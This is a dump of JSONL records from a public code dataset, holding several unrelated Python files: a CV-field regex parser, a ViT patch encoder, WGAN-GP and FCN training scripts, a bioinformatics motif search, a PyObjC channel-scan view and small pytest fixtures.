(r\"NOMBRE:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CORREO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"EDAD:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"DIRECCION:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"LICENCIATURA(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"ESCUELA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"PROMEDIO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"IDIOMAS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"EXPERIENCIA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CURSOS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CELULAR:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"APTITUDES:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n    r\".*\\n\"\n\tr\".*\\n\")\n\n    _todos=re.findall(_patron, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoTexto2(_texto):\n    _patron2 = (r\"NOMBRE:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CORREO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"EDAD:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"DIRECCION:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"LICENCIATURA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"ESCUELA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"PROMEDIO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"IDIOMAS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"EXPERIENCIA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CURSOS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"CELULAR:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n\tr\"APTITUDES:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*\\n\"\n\tr\".*)\\n\"\n    r\".*\\n\"\n\tr\".*\\n\")\n\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm2(_texto):\n    _patron2 = (r\"CORREO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm22(_texto):\n    _patron2 = (r\"CORREO:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm3(_texto):\n    _patron2 = (r\"Edad:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm33(_texto):\n    _patron2 = (r\"Edad: (.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm4(_texto):\n    _patron2 = (r\"DIRECCION:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm44(_texto):\n    _patron2 = (r\"DIRECCION:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos \n\ndef ParseoForm5(_texto):\n    _patron2 = (r\"LICENCIATURA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm55(_texto):\n    _patron2 = (r\"LICENCIATURA:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm6(_texto):\n    _patron2 = (r\"ESCUELA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm66(_texto):\n    _patron2 = (r\"ESCUELA:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm7(_texto):\n    _patron2 = (r\"PROMEDIO:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm77(_texto):\n    _patron2 = (r\"PROMEDIO:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm8(_texto):\n    _patron2 = (r\"IDIOMAS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm88(_texto):\n    _patron2 = (r\"IDIOMAS:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm9(_texto):\n    _patron2 = (r\"EXPERIENCIA:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm99(_texto):\n    _patron2 = (r\"EXPERIENCIA:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm10(_texto):\n    _patron2 = (r\"CURSOS:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm100(_texto):\n    _patron2 = (r\"CURSOS:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm11(_texto):\n    _patron2 = (r\"CELULAR:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm111(_texto):\n    _patron2 = (r\"CELULAR:(.*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm12(_texto):\n    _patron2 = (r\"APTITUDES:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\ndef ParseoForm122(_texto):\n    _patron2 = (r\"APTITUDES:(.*\\n\"\n\tr\".*\\n\"\n\tr\".*)\")\n    _todos=re.findall(_patron2, _texto, re.MULTILINE)\n    return _todos\n\nif __name__ == \"__main__\":\n    app.run()\n","repo_name":"Jonathangp18/NJ","sub_path":"HELLO.py","file_name":"HELLO.py","file_ext":"py","file_size_in_byte":36390,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30348716536","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras import layers\n\n\nclass PatchEncoder(layers.Layer):\n    \"\"\"\n    An implementation of the encoder for the ViT model image patches.\n    \"\"\"\n\n    def __init__(self, num_patches: int, projection_dim: int):\n        \"\"\"\n        :param num_patches: the number of image patches.\n        :param projection_dim: dimension of the dense embedding.\n        \"\"\"\n        super(PatchEncoder, self).__init__()\n        self.num_patches = num_patches\n        self.projection = layers.Dense(units=projection_dim)\n        self.position_embedding = layers.Embedding(\n            input_dim=num_patches, output_dim=projection_dim\n        )\n\n\n    def call(self, patch: np.array) -> layers.Layer:\n        \"\"\"\n        Encodes the image patches and returns the embedding layer.\n        :param patch: a list of image patches.\n        :return: the embedding layer\n        \"\"\"\n        positions = tf.range(start=0, limit=self.num_patches, delta=1)\n        encoded = self.projection(patch) + self.position_embedding(positions)\n        return encoded","repo_name":"unicef/Sudan-school-mapping-AI_models","sub_path":"src/tf/models/patch_encoder.py","file_name":"patch_encoder.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"42401753741","text":"import os\nimport glob\nimport math\nimport argparse\nimport json\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.autograd as autograd\nfrom torch.nn import init\nfrom PIL import Image\n\nimport model\nimport loss\nimport dataloader\n\n\ndef train(args):\n    if torch.cuda.is_available():\n        device = torch.device('cuda')\n        torch.set_default_tensor_type('torch.cuda.FloatTensor')\n    else:\n        device = torch.device('cpu')\n        torch.set_default_tensor_type('torch.FloatTensor')\n\n    img_path_list = glob.glob(args.data_dir + '/face_images/*/*.png')\n\n    n_iter = 0\n    lr = args.lr\n    beta1 = args.beta1\n    beta2 = args.beta2\n    train_epoch = args.train_epoch\n    n_dis = args.n_dis\n    batch_size = args.batch_size\n    coef = args.coef\n\n    gen_num_features = args.gen_num_features\n    gen_dim_z = args.gen_dim_z\n    gen_bottom_width = args.gen_bottom_width\n\n    dis_num_features = args.dis_num_features\n\n    wd_list = []\n\n    gen = model.ResNetGenerator(gen_num_features, gen_dim_z, gen_bottom_width, F.relu).to(device)\n    dis = model.ResNetDiscriminator(dis_num_features, F.relu).to(device)\n        \n    opt_gen = optim.Adam(gen.parameters(), lr=lr, betas=(beta1, beta2))\n    opt_dis = optim.Adam(dis.parameters(), lr=lr, betas=(beta1, beta2))\n\n    dataset = dataloader.MyDataset(img_path_list)\n    train_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, pin_memory=False)\n\n    for epoch in range(train_epoch):\n        print('Epoch: ', epoch)\n        \n        for batch in train_loader:\n            if batch.shape[0] != batch_size:\n                print('Skip')\n                continue\n                \n            n_iter += 1\n            print('n_iter: ', n_iter)\n        \n            for i in range(n_dis):\n                if i == 0:\n                    gen.zero_grad()\n                    fake, _ = dataloader.sample_from_gen(batch_size, gen_dim_z, gen, device)\n                    dis_fake = dis(fake).mean()\n                    loss_gen = loss.cal_loss_gen(dis_fake)\n                    loss_gen.backward()\n                    opt_gen.step()\n                \n                dis.zero_grad()\n                fake, _ = dataloader.sample_from_gen(batch_size, gen_dim_z, gen, device)\n                real = batch.type(torch.float32).to(device)\n                dis_fake, dis_real = dis(fake).mean(), dis(real).mean()\n                gradient_penalty = loss.cal_gradient_penalty(dis, real, fake, coef, device)\n                loss_dis = loss.cal_loss_dis(dis_fake, dis_real, gradient_penalty)\n                loss_dis.backward()\n                opt_dis.step()          \n\n        if epoch % 1 == 0:\n            save_model(gen, args.model_dir, epoch)\n\n\ndef save_model(gen, model_dir, epoch):\n    path = os.path.join(model_dir, 'generator-{0}epoch.pth'.format(epoch))\n    torch.save(gen.cpu().state_dict(), path)\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('--train_epoch', type=int, default=3)\n    parser.add_argument('--lr', type=float, default=1e-4)\n    parser.add_argument('--beta1', type=float, default=0.5)\n    parser.add_argument('--beta2', type=float, default=0.9)\n    parser.add_argument('--batch_size', type=int, default=4)\n    parser.add_argument('--n_dis', type=int, default=5)\n    parser.add_argument('--coef', type=int, default=10)\n\n    parser.add_argument('--gen_num_features', type=int, default=64)\n    parser.add_argument('--gen_dim_z', type=int, default=128)\n    parser.add_argument('--gen_bottom_width', type=int, default=4)\n    parser.add_argument('--dis_num_features', type=int, default=64)\n\n    parser.add_argument('--hosts', type=list, default=json.loads(os.environ['SM_HOSTS']))\n    parser.add_argument('--current_host', type=str, default=os.environ['SM_CURRENT_HOST'])\n    parser.add_argument('--model_dir', type=str, default=os.environ['SM_MODEL_DIR'])\n    parser.add_argument('--data_dir', type=str, default=os.environ['SM_CHANNEL_TRAINING'])\n    parser.add_argument('--num_gpus',type=int, default=os.environ['SM_NUM_GPUS'])\n\n\n    train(parser.parse_args())\n    ","repo_name":"opeco17/illust_app","sub_path":"ml_infra/machine_learning/wgan_gp/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"9260499131","text":"import re\np = re.compile('.*python$',re.MULTILINE)\ndest_str=\"\"\"python one\nlife is too short\npython two\nyou need python\nI will study python\n\"\"\"\n\nm = p.findall(dest_str)\nprint(m)","repo_name":"xsky21/bigdata2019","sub_path":"01_jump to python/CHAP07/1_Regular_Expression/310.py","file_name":"310.py","file_ext":"py","file_size_in_byte":176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70100872568","text":"#CUDA_VISIBLE_DEVICES=0 python3 'file name'\r\n# coding: utf-8\r\n\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport time\r\nstart_time = time.time()\r\n\r\nfrom glandnet import *\r\nimport argparse\r\nimport sys\r\nimport math\r\nimport numpy as np\r\nimport os\r\nimport random\r\nimport tensorflow as tf\r\nfrom skimage.io import imread\r\nfrom skimage.io import imsave\r\n#from skimage.transform import rotate\r\n\r\nFLAGS = None\r\n\r\nimport matplotlib.pyplot as plt\r\nimport importlib as imp\r\nimport pandas as pd\r\nimport loaddata as ld\r\nimp.reload(ld)\r\n\r\n#!!!!! Remember to set nclass=2 in glandnet.py\r\n\r\n#Directory settings\r\nlogdir = '../r20/info'\r\nresult_dir = '../r20/save'\r\ntrain_image_dir = '../train_img'\r\ntrain_mask_dir = '../train_mask_r20'\r\nval_image_dir = '../val_img'\r\nval_mask_dir = '../val_mask_r20'\r\n\r\n\r\nmodel_loc = \"\"\r\ntesting_dir = \"\"\r\nnc = 32\r\nbatch_size=8 #4672Mib\r\n#batch_size=16 #15516Mib\r\n#batch_size=8 #8768Mib\r\n#batch_size=2 #3136Mib\r\n#batch_size=18 #15516Mib\r\n\r\nimageType=3 # imageType for RGB image\r\nins=256 # input image size for NN, this should match the image size, because we are not doing cropping.\r\nres = ins # in noCrop, we should set 'res' equals to 'ins'\r\n\r\ntotal_img, total_label, _ = ld.load_data_noCrop_new(img_dir = train_image_dir, mask_dir = train_mask_dir)\r\ntrain_img = total_img[2000:8000]\r\ntrain_label = total_label[2000:8000]\r\ntrain_num_image = len(train_img)\r\n\r\nval_img, val_label, _ = ld.load_data_noCrop_new(img_dir = val_image_dir, mask_dir = val_mask_dir)\r\nval_num_image = len(val_img)\r\n\r\nepoch = 50\r\nbatch_num = int(train_num_image/batch_size)\r\nmodel_num = int(batch_num/3)\r\ntotal_batch_num = batch_num * epoch\r\n\r\n\r\n# # Create the model\r\nsess = tf.InteractiveSession()\r\n# Assume that you have 12GB of GPU memory and want to allocate ~4GB:\r\n#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.6)\r\n#sess = tf.InteractiveSession(config=tf.ConfigProto(gpu_options=gpu_options))\r\n\r\ninput_img = tf.placeholder(tf.float32, [None,ins,ins,imageType])\r\nphase = tf.placeholder(tf.bool, name='phase')\r\n\r\n#tf.summary.image('input',input_img,batch_size)\r\nwith tf.variable_scope('scale1'):\r\n    with tf.variable_scope('conv1'):\r\n        c1_1_conv = conv_(input_img,3,2,imageType,nc,phase)\r\n        c1_1_bn = bn_(c1_1_conv,phase)\r\n        c1_1_relu = relu_(c1_1_bn)\r\n    with tf.variable_scope('conv2'):\r\n        c1_2_conv = conv_(c1_1_relu,3,1,nc,nc,phase)\r\n        c1_2_bn = bn_(c1_2_conv,phase)\r\n        c1_2_relu = relu_(c1_2_bn)\r\n    with tf.variable_scope('conv3'):\r\n        c1_3_conv = conv_(c1_2_relu,3,1,nc,nc,phase)\r\n        c1_3_bn = bn_(c1_3_conv,phase)\r\n        c1_3_relu = relu_(c1_3_bn)\r\n\r\nwith tf.variable_scope('scale2'):\r\n    pool1 = max_pool_2x2(c1_3_relu)\r\n    c2 = stack(pool1,nc,4*nc,3,phase)\r\n\r\nwith tf.variable_scope('scale3'):\r\n    pool2 = downbottleneck(c2, 4*nc, 8*nc, phase)\r\n    c3 = stack(pool2,8*nc,8*nc,3,phase)\r\n\r\nwith tf.variable_scope('scale4'):\r\n    pool3 = downbottleneck(c3, 8*nc, 16*nc, phase)\r\n    c4 = stack(pool3,16*nc,16*nc,5,phase)\r\n\r\nwith tf.variable_scope('up2'):\r\n    up2 = deconvall(c2,4*nc,2,phase)\r\n\r\nwith tf.variable_scope('up3'):\r\n    up3 = deconvall(c3,8*nc,3,phase)\r\n\r\nwith tf.variable_scope('up4'):\r\n    up4 = deconvall(c4,16*nc,4,phase)\r\n\r\nwith tf.variable_scope('final'):\r\n    f1 = tf.concat([up2 , up3 , up4],3)\r\n    with tf.variable_scope('final_conv1'):\r\n        f1_conv = conv_(f1,3,1,3*nclass,nclass,phase)\r\n        f1_bn = bn_(f1_conv,phase)\r\n        f1_relu = relu_(f1_bn)\r\n    with tf.variable_scope('final_conv2'):\r\n        output_nobias = conv_(f1_relu,1,1,nclass,nclass,phase)\r\n        b=bias_variable([nclass])\r\n        output = output_nobias + b\r\n\r\nwith tf.variable_scope('result'):\r\n    # result = tf.nn.softmax(output) # for classification\r\n    result = output # for regression\r\n\r\noutput_gt = tf.placeholder(tf.float32, [None, ins, ins, 2])\r\n# Define loss and optimizer\r\nsquared_error = tf.squared_difference(output, output_gt)\r\nsum_squared_error = tf.reduce_sum(squared_error, axis=[1,2,3])\r\nl2_loss = tf.reduce_mean(sum_squared_error)\r\n\r\ntf.summary.scalar('error',l2_loss)\r\n\r\nupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\r\nwith tf.control_dependencies(update_ops):\r\n    train_step = tf.train.AdamOptimizer().minimize(l2_loss) # Original learning rate\r\n    #train_step = tf.train.AdamOptimizer(1e-6).minimize(cross_entropy)# learning rate after 80k iterations\r\nmerged = tf.summary.merge_all()\r\n\r\ntrain_writer = tf.summary.FileWriter(logdir, sess.graph)\r\n\r\nsaver = tf.train.Saver([x for x in tf.global_variables() if 'Adam' not in x.name],max_to_keep=None)\r\n\r\n# # Select training modes\r\nif (len(model_loc)==0):\r\n    print('Init model from scratch')\r\n    sess.run(tf.global_variables_initializer())\r\nelse:\r\n    print('Load model: ' + model_loc)\r\n    saver.restore(sess, model_loc)\r\n    sess.run(tf.variables_initializer([x for x in tf.global_variables() if 'Adam' in x.name])) #just initialize adam parameters\r\n\r\ntotal_parameters = 0\r\nfor variable in tf.trainable_variables():\r\n    shape = variable.get_shape()\r\n    variable_parametes = 1\r\n    for dim in shape:\r\n        variable_parametes *= dim.value\r\n    total_parameters += variable_parametes\r\nprint(total_parameters)\r\n\r\n##training\r\ndef model_apply_threeClass_noCrop(sess,result,input_img,phase,val_image,val_label,ins):\r\n    nrotate = 4\r\n    val_out_rotate = np.zeros([1,ins,ins,nclass]) #nclass = 2\r\n    error = 0\r\n    val_label = val_label[:,:,0:2] #as the training require only 2 layers and the third layer is all 0\r\n    for j in range(nrotate):\r\n        feed_image=np.zeros([1,ins,ins,imageType]) #imageType = 3\r\n        feed_label=np.zeros([1,ins,ins,nclass])\r\n        feed_image[0,:,:,:] = np_rotate(val_image, j)\r\n        feed_label[0,:,:,:] = np_rotate(val_label, j)\r\n        val_out, val_out_error = sess.run([result,l2_loss],\r\n                feed_dict={input_img:feed_image, output_gt:feed_label[:,:,:,:2], phase: False})\r\n\r\n        val_out = val_out[0,:,:,:]\r\n        val_out_rotate[0,:,:,:] = val_out_rotate[0,:,:,:] + np_rotate(val_out,4-j) #add 4 result and then average them\r\n        error = error + val_out_error\r\n    val_out_rotate = val_out_rotate / nrotate\r\n    error = error / nrotate\r\n    return val_out_rotate[0,:,:,:], error\r\n\r\ntrain_loss = np.array([])\r\nval_loss = np.array([])\r\ntraining_time = np.array([])\r\nfor i in range(total_batch_num+1):\r\n    train_img_batch, train_label_batch = ld.get_batch_noCrop_fast_gaussian(train_img,train_label,\r\n                batch_size=batch_size, ins=ins, imageType=imageType, num_images=train_num_image)\r\n\r\n    summary,train_loss_batch, _ = sess.run([merged,l2_loss,train_step], feed_dict={\r\n        input_img:train_img_batch, output_gt:train_label_batch[:,:,:,:2], phase: True})\r\n\r\n    train_loss_batch_mean = train_loss_batch/batch_size\r\n    train_loss = np.append(train_loss, train_loss_batch_mean)\r\n\r\n    if (i % model_num == 0):\r\n        path = result_dir + '/' + str(i)\r\n        os.makedirs(path)\r\n        checkpoint_name = os.path.join(path, str(i) + '.ckpt')\r\n        print('Saving model: ' + checkpoint_name)\r\n        saver.save(sess, checkpoint_name)\r\n\r\n    if (i % batch_num == 0):\r\n        val_loss_mean = 0\r\n        for j in range(val_num_image):\r\n            val_single_label = val_label[j]\r\n            val_single_image = val_img[j]\r\n            val_single_image = val_single_image/255\r\n            val_single_label = val_single_label/255\r\n            _ , val_single_loss = model_apply_threeClass_noCrop(sess,result,input_img,phase,val_single_image,val_single_label,ins)\r\n            val_loss_mean = val_loss_mean + val_single_loss\r\n\r\n        val_loss_mean =  val_loss_mean/val_num_image\r\n        val_loss = np.append(val_loss, val_loss_mean)\r\n        print(i,train_loss_batch_mean, val_loss_mean)\r\n        training_time = np.append(training_time, ((time.time() - start_time)/60))\r\n\r\n        train_loss_dir = result_dir + '/iter' + str(i) + '_train_loss'\r\n        val_loss_dir = result_dir + '/iter' + str(i) + '_val_loss'\r\n        time_dir = result_dir + '/iter' + str(i) + '_time'\r\n        np.save(train_loss_dir, train_loss)\r\n        np.save(val_loss_dir, val_loss)\r\n        np.save(time_dir, training_time)\r\nprint(\"--- total %s minute ---\" %((time.time() - start_time)/60))\r\n","repo_name":"rillab/SMALL_ANIMAL","sub_path":"stage2/train_fcn.py","file_name":"train_fcn.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"18092196908","text":"import pytest\n\n\n@pytest.fixture(scope='function')\ndef has_persistent_volume(provider, appliance):\n    \"\"\"Verifying that some persistent volume exists\"\"\"\n    vols = provider.mgmt.list_persistent_volume()\n    vols_count = len(vols)\n    if vols_count:\n        yield\n    else:\n        pytest.skip(f'No Persistent Volumes Detected on OpenShift Provider {provider.name}')\n","repo_name":"ManageIQ/integration_tests","sub_path":"cfme/fixtures/has_persistent_volume.py","file_name":"has_persistent_volume.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"77"}
+{"seq_id":"39838181122","text":"__author__ = 'Felix E. Rivera-Mariani, friveramariani@gmail.com, www.friveram.com'\n\nimport random\n\ndef randomMotifs(dna,k,t):\n\n    kmm = []\n    sc = []\n    k = 3\n    D = {}\n    for i in range(0,len(dna)):\n        km = []\n        for kk in range(len(dna[i])-k+1):\n            km += [dna[i][kk:kk+k]]\n        D[i] = km\n    for m in range(0,t):\n        ran = random.randint(0,len(D[0])-1)\n        kmm += [D[m][ran]]\n\n    return kmm\n\n\ndef ProfileWithPseudocounts(Motifs):\n\n\n    t = len(Motifs)\n    k = len(Motifs[0])\n    profile = CountWithPseudocounts(Motifs) # output variable\n    for symbol in profile:\n        for kk in range(0,len(profile[symbol])):\n            profile[symbol][kk] = profile[symbol][kk]/(len(Motifs) + 4)\n\n    return profile\n\n\ndef CountWithPseudocounts(Motifs):\n\n    count = {}\n    for i in 'ACGT':\n        count[i] = []\n        for ii in range(len(Motifs[0])):\n            count[i].append(1)\n    for i in range(len(Motifs)):\n        for j in range(len(Motifs[0])):\n            symbol = Motifs[i][j]\n            count[symbol][j] += 1\n\n    return count\n\n\n\ndef Score(Motifs):\n\n\n    count = 0\n    L = Consensus(Motifs)\n    for i in Motifs:\n        for chr1, chr2 in zip(i,L):\n            if chr1 != chr2:\n                count += 1\n    return count\n\n\ndef Consensus(Motifs):\n\n\n\n    k = len(Motifs[0])\n    count = Count(Motifs)\n    consensus = \"\"\n    for j in range(k):\n        m = 0\n        frequentSymbol = \"\"\n        for symbol in \"ACGT\":\n            if count[symbol][j] > m:\n                m = count[symbol][j]\n                frequentSymbol = symbol\n        consensus += frequentSymbol\n\n    return consensus\n\n\ndef Count(Motifs):\n\n    count = {}\n    for i in 'ACGT':\n        count[i] = []\n        for ii in range(len(Motifs[0])):\n            count[i].append(0)\n    for i in range(len(Motifs)):\n        for j in range(len(Motifs[0])):\n            symbol = Motifs[i][j]\n            count[symbol][j] += 1\n\n    return count\n\n\ndef RandomMotifs(dna,k,t):\n\n    kmm = []\n    sc = []\n    D = {}\n    for i in range(0,len(dna)):\n        km = []\n        for kk in range(len(dna[i])-k+1):\n            km += [dna[i][kk:kk+k]]\n        D[i] = km\n    for m in range(0,t):\n        ran = random.randint(0,len(D[0])-1)\n        kmm += [D[m][ran]]\n\n    return kmm\n\ndef Motifs(pf,dna):\n\n    k = len(pf['A'])\n    D = []\n    for i in range(0,len(dna)):\n        km = []\n        sc = []\n        for kk in range(len(dna[i])-k+1):\n            km += [dna[i][kk:kk+k]]\n        for i in km:\n            sc += [Pr(i,pf)]\n        D += [km[sc.index(max(sc))]]\n\n    return D\n\n\ndef Pr(Text, Profile):\n\n    p = 1\n    for i in range(0,len(Text)):\n        p *= Profile[Text[i]][i]\n\n    return p\n\n\ndef RandomizedMotifSearch(Dna, k, t):\n\n     M = RandomMotifs(Dna, k, t)\n     BestMotifs = M\n\n     while True:\n        Profile = ProfileWithPseudocounts(M)\n        M = Motifs(Profile, Dna)\n        if Score(M) < Score(BestMotifs):\n            BestMotifs = M\n        else:\n            return BestMotifs\n","repo_name":"friveramariani/Bioinformatics_Specialization","sub_path":"Biology_meets_programming/Randomize_Mixed_Motif.py","file_name":"Randomize_Mixed_Motif.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"70778382969","text":"from Cocoa import (\n    NSView,\n    NSBezierPath,\n    NSColor,\n    )\n\n\nclass ScanView(NSView):\n\n    CHANNELS = 40\n    PADDING = 0.1\n\n    def initWithFrame_(self, frame):\n        self.backgroundColor = NSColor.blackColor()\n        self.barColor = NSColor.whiteColor()\n        self.channelValues = [0] * self.CHANNELS\n        return super(ScanView, self).initWithFrame_(frame)\n\n    def drawRect_(self, rect):\n        f = self.frame()\n        f.origin.x = f.origin.y = 0.0\n        self.backgroundColor.set()\n        NSBezierPath.fillRect_(f)\n        padding_pixels = int(self.PADDING * f.size.width / (self.CHANNELS + 1))\n        bar_width = int((f.size.width - (self.CHANNELS + 1) * padding_pixels) / self.CHANNELS)\n        vstep = f.size.height / 4096\n        self.barColor.set()\n        left_padding = padding_pixels + (f.size.width - (bar_width + padding_pixels) * self.CHANNELS) // 2\n        for i, value in enumerate(self.channelValues):\n            x = i * (bar_width + padding_pixels) + left_padding\n            y = 0\n            h = int(value * vstep)\n            r = ((x, y), (bar_width, h))\n            NSBezierPath.fillRect_(r)\n\n    def updateChannel_(self, args):\n        channel, value = args\n        if self.channelValues[channel] != value:\n            self.channelValues[channel] = value\n            self.setNeedsDisplay_(True)\n\n    def reset(self):\n        self.channelValues = [0] * self.CHANNELS\n        self.setNeedsDisplay_(True)\n","repo_name":"deets/deets-fpv-vtx-scanner","sub_path":"python-data-logger/ScanView.py","file_name":"ScanView.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"4885308346","text":"import pytest\nfrom .conftest import *\n\n@pytest.fixture\ndef pipe():\n    folder = path_resource(PKG_ID, PIPE_FOLDER)\n    yml = load_yaml(DEMO_PIPE, folder)\n    r = Registry()\n    p = Pipe(r, yml)\n    return p\n\ndef test_pipe(pipe):\n    assert pipe\n\ndef test_compile(pipe):\n    asms = pipe.compile()\n    assert pipe.vars['SAPIENT']\n    assert len(asms) == 2\n    a0 = asms[0]\n    assert a0.do == 'sql.load'\n    a1 = asms[1]\n    assert a1.from_key == a0.id\n\ndef test_run(pipe):\n    vm = pipe.run()\n    assert vm\n    dp = vm.get(DEMO_PIPE)\n    assert len(dp) == 2\n    assert len(pipe.data[DEMO_PIPE]) == 2\n","repo_name":"TheSwanFactory/fridaay","sub_path":"tests/test_pipe.py","file_name":"test_pipe.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
